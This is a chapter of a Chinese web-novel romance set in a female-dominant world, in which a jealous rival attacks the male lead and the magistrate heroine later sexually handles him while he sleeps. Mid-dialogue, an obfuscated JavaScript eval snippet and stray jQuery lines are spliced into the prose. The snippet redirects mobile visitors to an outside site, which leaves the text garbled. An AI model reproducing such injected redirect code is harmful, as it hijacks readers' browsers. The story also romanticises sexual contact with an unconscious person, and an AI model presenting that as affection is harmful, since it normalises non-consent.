16. 第 16 章

作品:《县令心尖宠(女尊)

    温澜自从来了谢家,白日里无事便喜欢在床上赖着,尤其是冬日里天冷,人便格外懒洋洋的,小成靠在温澜床边整个人也昏昏欲睡。


    温澜看见小成这个样子,便将放下手中的话本放下问道:“我讲的不好吗?怎么看你都快睡着了?”


    小成挠了挠头,小声嘟囔:“夫郎,这话本您天天念,您说这句我都能猜出来下一句啦。”


    温澜有些尴尬,解释道:“我就认识这一本,就只能念这一本了,你要是不喜欢听,我就不念了。”


    小成见状也不打瞌睡了,手一撑地就站起来,“夫郎,我不是这个意思,我想,夫郎可以让大小姐再教你几本呀。”


    温澜有些纠结,“听说最近县城里出了一桩命案,大小姐是县令,最近在忙案子,我这几天都不敢去打扰她了。”


    小成有些好奇,“啊,什么案子?”


    温澜摇了摇头,“大小姐没和我说。”


    小成还想再问,就听到“啪”地一声门被踹开了,郑玉带着陈兴走了进来。


    郑玉用眼角瞥了一眼温澜,趾高气扬道:“温澜,我衣服脏了,你去给我洗衣服!”


    陈兴在一旁附和:“就是,我们少爷因为你衣服都脏了,你还不快点去给我们少爷洗去。”


    温澜从床上站起来,“你的衣服凭什么让我给你洗?”


    温澜说完后见郑玉久久不说话,以为他是生气了,抬头去看郑玉,发现他正瞪大眼睛张大嘴巴看着自己。温澜挥了挥手:“你看什么?”


    郑玉回过神来,刚才温澜起身的时候衣领滑落,郑玉看到他左胸上有一点红粒。


    守宫砂?!


    郑玉不敢相信,怎么会?温澜身上怎么会还有这个东西,谢安元没碰他吗?就算谢安元不行,那温澜整日在谢信之眼皮子底下晃悠,居然没勾搭到床上去?


    郑玉不信,当初他的身子就是被母亲请来教他读书的老师给破的,若不是那老师教他那些不正经的东西,他也不会迷了心神,以致丢了守宫砂。那老师也是个没担当的,同他厮混了几年后一走了之,独留下自己一人收拾烂摊子。


    郑玉越想越生气,若是他今日还有守宫砂,又何必在谢信之面前伏低做小,凭他的家世,就算谢信之不愿意娶他,在永乐县也不愁找不到好人家。


    郑玉好恨,恨自己在不晓人事的时候被坏女人骗了身子,又恨温澜明明已经嫁了人却还有一副纯洁无暇的身体。


    呵,凭什么?!


    郑玉发了疯一般扑向温澜,他使劲把温澜的衣服往下扒,郑玉力道太大,温澜一时不察,就这么被他生生地扑在了床上。


    里衣被扒开,冬日里穿的衣服多,温澜便没穿那合欢襟,没想到这刚好让郑玉钻了空子,郑玉狠狠地去抠那点殷红,嘴里恶狠狠地骂道:“你也配!你这种不守夫德的人居然还有守宫砂,你不准有,不准有!”


    温澜被郑玉扑到的时候下意识往旁边一躲,但郑玉指甲长,温澜还是被抓到了,乳首被抓到,温澜“啊”地叫了一声,“好疼!”


    小成和陈兴都被眼前的事情吓到了,他们都没想到郑玉能疯到这种地步,两人刚忙跑过去将两人拉开。


    “少爷,别打了!”


    “夫郎,哪里受伤了?”


    郑玉嫉妒得眼睛发红,他恨不得生吞活剥了温澜,但他见温澜身上流血了还是有些害怕,他留下一句“小贱人,你给我等着”后便匆匆离开了,走的时候猛踹了一脚门。


    温澜捂着胸口疼的抬不起头,巴掌大的脸蛋上淌满了泪珠。


    小成颤抖着拿开温澜的手,看见伤口后他舒了一口气,“还好,还好没伤到守宫砂,那处皮肤最脆弱,冬天伤口又好得慢,若是那处破了皮,夫郎可是有苦头吃了。”


    只是,左乳首处还是见了血。


    “夫郎,我去请大夫来。”


    “别,”温澜抓住小成的手,“别去,我没事。”


    小成急得跳脚,“都见血了,怎么还说没事,要是留疤了可怎么办呀。”


    温澜疼的倒吸了一口气,但他仍旧坚持不看大夫,他苦笑一声,“小成,我伤的是这处,大夫都是女子,我、我怎么让人看呢,若是被人知道我嫁进来这么久还是……到时,恐怕我这条性命就保不住了。”


    小成看温澜疼的冷汗都出来了,忙点头,“夫郎,不看大夫了,那咱们怎么办?”


    温澜忍痛道:“小成,前些日子我在院子里采了一些山黄荆,这东西能止血,你去取了捣烂拿过来。”


    温澜从小就跟在温锋身边帮忙整理草药,有时温锋不得闲,就会让温澜把采的药材卖到药铺里,因此这些简单的药材温澜都是认得的。


    “好。”


    小成将捣好的药拿过去,温澜用手指沾了一些小心地敷到伤口上,“嘶……”


    温澜敷好药后一抬头看见小成哭个不停,勉强笑道:“你哭什么,我没事。”


    小成今年16岁,比温澜还要小上几岁,他为人坦率老实,温澜便把他当作自己的弟弟看,见小成哭的这么伤心,温澜不想他难过,就装出一副没事的样子。


    可那处平日里被层层保护在衣衫之下,养的比豆腐都滑嫩,骤然被伤,怎么可能不痛,就算温澜装出没事的样子,但小成和他同为男儿怎么会不知呢。


    “夫郎,我没用,我没保护好你,”小成听见温澜的话彻底控制不住了,哇哇大哭,哭得上气不接下气,“我……夫郎……”


    温澜拉住小成的手让他坐在床上,伸手擦了擦眼泪,“别哭了,我刚不哭了,你再哭我也想哭了,我饿了,你取给我弄点吃的去吧。”


    “夫郎,我去给你做烧鸡吃,你最爱吃这个了,”小成吸了吸鼻子说道,他没别的本事,就做饭好吃。


    “谢谢小成。”温澜摸了摸小成的头笑道。


    “呜呜,夫郎我要跟在你身边一辈子。”小成两眼冒星星地看着温澜。


    “还真是小孩子,这话也说得出来,你放心,等你再大几岁,我就去求大小姐给你找个好妻主


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15541694|171002||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,和和美美地过一辈子。”


    “夫郎……”小成拉长声音害羞极了,撒腿就跑,“我才没想过这些呢,我去做饭了。”


    温澜看着小成活泼的身影无奈地笑了笑,真是小孩子。


    之后的几天郑玉或许是被谢安元警告了,一直没来骚扰温澜,谢信之那边温澜也没去,便有了时间不穿衣服将伤给养好。


    等谢信之将手头上的案子解决后,恍然发现她已经有十几天没见温澜了。这次是一桩连环杀人案,造成的影响极其恶劣,县城里人心惶惶。为了稳定民心,尽快抓到犯人,谢信之这些日子一直住在县衙里,她低头闻了闻自己的衣服,尽管是冬天,但衣服多日未换洗,仍旧有些异味。


    谢信之嫌弃地挥了挥袖子,抬头道:“谢泽,我先回去了,将人押到大牢的事情就交给你了。”


    “是,县令。”


    谢信之洗了个澡、换了身衣服后就赶去看温澜,她看了一眼守在门前的小成,用手指了指里面,“澜儿在里面吗?”


    小成点了点头,小声道:“夫郎这会儿还在睡。”


    谢信之眉毛微皱,“都这个时辰了怎么还在睡,可是昨晚没睡好?”


    “不是,”小成最后还是没忍住,将郑玉伤温澜的事情说出来了。


    谢信之没说话,但小成却害怕极了,他从没见过大小姐脸上出现那副表情,阴沉极了,若是郑玉在眼前,小成毫不怀疑大小姐会甩给他一巴掌。


    谢信之放轻脚步走到温澜床边,温澜眉毛紧皱,看起来睡的很是不安稳。


    谢信之半蹲在床侧,将被子掀起一脚角,她害怕碰到温澜伤口,动作小心极了,谢信之又将温澜的里衣褪到肩膀处,伤口便露出来。


    也不知是山黄荆起了作用,还是日子久了,伤口愈合的还算好。只是较之别处的淡粉,伤口处有些发白,谢信之用指尖轻轻地碰了下,不知是疼还是痒,温澜缩了缩身体。


    谢信之见状将手指收回来,换上了自己的唇舌。她觊觎这处许久,从大婚那日验身开始,这两点便勾的谢信之日思夜想,想起那日只是用指尖碰了一下,她便呕的吐血。有时从梦中醒来,谢信之看着自己的手,总感觉指尖停留着那抹细腻的感觉。


    软软的,微微用力,又会陷下去。


    温澜梦到有一只狼在追自己,他奋力往前跑,还是被狼追到了,这只狼好像饿了很久,嘴里的獠牙冲他一个劲儿地呲,温澜感觉她的口水都落到自己胸前了,好烫!


    温澜用手推那只狼,但狼头丝毫不动,牢牢地趴在他胸前,“嗯……啊……”


    谢信之左手放在温澜右边,右手腾出来将温澜的双手紧紧地抓在一起,阻碍没有了,谢信之不再控制自己,多日的压力悉数释放在眼前的柔软上。


    许久后,温澜悠悠醒来,他脸蛋红扑扑的,下意识地摸上胸前。


    温澜低头一看,肿了。


    他猛地捂住脸颊,啊啊啊,他居然做春/梦了!


    居然、居然用手摸那里……